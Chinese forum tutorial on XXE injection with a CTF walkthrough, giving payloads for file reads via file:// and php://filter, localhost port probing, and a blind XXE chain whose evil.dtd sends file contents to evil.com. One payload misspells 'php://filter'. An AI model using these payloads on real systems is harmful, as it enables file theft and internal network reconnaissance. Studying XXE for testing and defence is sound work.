XXE漏洞介绍与利用技巧

XXE漏洞介绍与利用技巧

hackersec已验证会员

黑客倉庫站長

管理成员
贡献: 3%

0x00前言​

早上看到某篇公众号的文章发了一篇XXE漏洞挖到个星巴克,拿到了一手奖金。决定晚上瞧一下这个洞

XXE漏洞介绍与利用技巧-1.png



XXE又叫XML外部实体注入(XML External Entity Injection)


简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

XML基础
在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具

<br>&lt;!ENTITY 实体名称 <span>"实体的值"</span>&gt;<br>外部实体:<br><br><span><span>&lt;<span>!ENTITY</span> 实体名称 <span>SYSTEM</span> "<span>URI</span>"&gt;</span><br>参数实体:<br><br><span>&lt;<span>!ENTITY</span> % 实体名称 "实体的值"&gt;</span><br>或者<br><span>&lt;<span>!ENTITY</span> % 实体名称 <span>SYSTEM</span> "<span>URI</span>"&gt;</span><br>实例演示:除参数实体外实体+内部实体<br><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?&gt;</span></span><br><span>&lt;!DOCTYPE a [<br> &lt;!ENTITY name "nMask"&gt;]&gt;</span><br><span>&lt;<span>foo</span>&gt;</span><br> <span>&lt;<span>value</span>&gt;</span>&amp;name;<span>&lt;/<span>value</span>&gt;</span> <br><span>&lt;/<span>foo</span>&gt;</span><br>实例演示:参数实体+外部实体<br><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?&gt;</span></span><br><span>&lt;!DOCTYPE a [<br> &lt;!ENTITY % name SYSTEM "file:///etc/passwd"&gt;<br> %name;<br>]&gt;</span><br>注意:%name(参数实体)是在DTD中被引用的,而&amp;name(其余实体)是在xml文档中被引用的。<br><br>由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。<br><br>外部实体<br>外部实体即在DTD中使用<br><br><span>&lt;<span>!ENTITY</span> 实体名称 <span>SYSTEM</span> "<span>URI</span>"&gt;</span><br>语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?<br>主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:<br><br>实例演示:<br><br><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?&gt;</span></span><br><span>&lt;!DOCTYPE a [ //定义一个外部名称<br> &lt;!ENTITY content SYSTEM "file:///etc/passwd"&gt;]&gt;</span> // SYSTEM "file:///xxxx"用于读取文件<br><span>&lt;<span>foo</span>&gt;</span> //定义标签 标签名可以随便输入,也可以和外名称对应<br> <span>&lt;<span>value</span>&gt;</span>&amp;content;<span>&lt;/<span>value</span>&gt;</span> <br><span>&lt;/<span>foo</span>&gt;</span><br><br>得带Content-Type: application/xml头,如果请求头类似于:Content-Type: application/json,那么可以改为Content-Type: application/xml试试有没有xml漏洞<br></span>

这里找来一道CTF的题,BWAPP搭建出来的XXE好像有问题。和文章用一样的操作得出来的结果不符合

XXE漏洞介绍与利用技巧-2.png

QCoD1A.png



题目地址:web.jarvisoj.com:9882

XXE漏洞介绍与利用技巧-3.png

QCoWtg.png



抓包一手得到发现是如下请求的

XXE漏洞介绍与利用技巧-4.png

QCooXq.png



将Content-Type改为Content-Type: application/xml,发送以下内容探测是否存在XXE


<span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?&gt;</span></span><br><span>&lt;!DOCTYPE sb [<br> &lt;!ENTITY xxe "XXE Test"&gt; //XXE Test是输出的内容 xxe可以为理解为一个变量<br> ]&gt;</span><br><span>&lt;<span>em</span>&gt;</span> //乱取个名就好<br> &amp;xxe; //理解为引用变量地址输出<br><span>&lt;/<span>em</span>&gt;</span> <br>


XXE漏洞介绍与利用技巧-5.png



读取文件测试

XXE漏洞介绍与利用技巧-6.png

QC7EZV.png



读取flag文件

XXE漏洞介绍与利用技巧-7.png

QC72WQ.png



由于这里是py的环境没有办法测试更多


HTTP/1.0 <span>200</span> OK<br><span>Content-Type</span>: text/html; charset=utf-8<br><span>Content-Length</span>: 44<br><span>Server</span>: Werkzeug/0.9.4 Python/2.7.6<br><span>Date</span>: Wed, 27 Nov 2019 15:37:08 GMT<br><br><span><span>&lt;em&gt;</span><br> <span>CTF</span>{XxE_15_n0T_S7range_Enough}<br><br><span>&lt;/em&gt;</span><br></span>

这里就直接列出来


ML文档是用PHP进行解析的,那么还可以使用php:<span>//filter协议来进行读取。</span><br><br>&lt;?xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span>?&gt;<br><span><span>&lt;!DOCTYPE root [<br>&lt;!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"&gt;<br>]&gt;</span><br><span>&lt;<span>root</span>&gt;</span><span>&lt;<span>foo</span>&gt;</span>&amp;content;<span>&lt;/<span>foo</span>&gt;</span><span>&lt;/<span>root</span>&gt;</span><br><br>端口扫描<br>加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。<br><br>私有类型DTD加载:<br><br><span>&lt;<span>!ENTITY</span> <span>private_dtd</span> <span>SYSTEM</span> "<span>DTD_location</span>"&gt;</span><br><br>公共类型DTD加载:<br><br><span>&lt;<span>!ENTITY</span> <span>public_dtd</span> <span>PUBLIC</span> "<span>DTD_name</span>" "<span>DTD_location</span>"&gt;</span><br>在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。<br><br><span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?&gt;</span></span><br><span>&lt;!DOCTYPE root [<br> &lt;!ENTITY portscan SYSTEM "http://localhost:3389"&gt;<br>]&gt;</span><br><span>&lt;<span>root</span>&gt;</span><span>&lt;<span>foo</span>&gt;</span>&amp;portscan;<span>&lt;/<span>foo</span>&gt;</span><span>&lt;/<span>root</span>&gt;</span><br><br><br>blind xxe漏洞:<br>对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。<br>利用DTD进行数据回显<br>有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。<br><br> <span><span>&lt;?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?&gt;</span></span><br> <span>&lt;!DOCTYPE root[ <br> &lt;!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"&gt; <br> &lt;!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"&gt; <br> %dtd; <br> %send;]&gt;</span><br> <span>&lt;<span>root</span>&gt;</span><span>&lt;/<span>root</span>&gt;</span><br>evil.dtd<br><br> <span>&lt;<span>!ENTITY</span> % <span>payload</span> "&lt;!<span>ENTITY</span> &amp;#<span>x25</span>; <span>send</span> <span>SYSTEM</span> '<span>http:</span>//<span>evil.com</span>/?<span>content</span>=<span>%file;</span>'&gt;</span>"&gt;<br> %payload;<br>在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容</span>
 
后退
顶部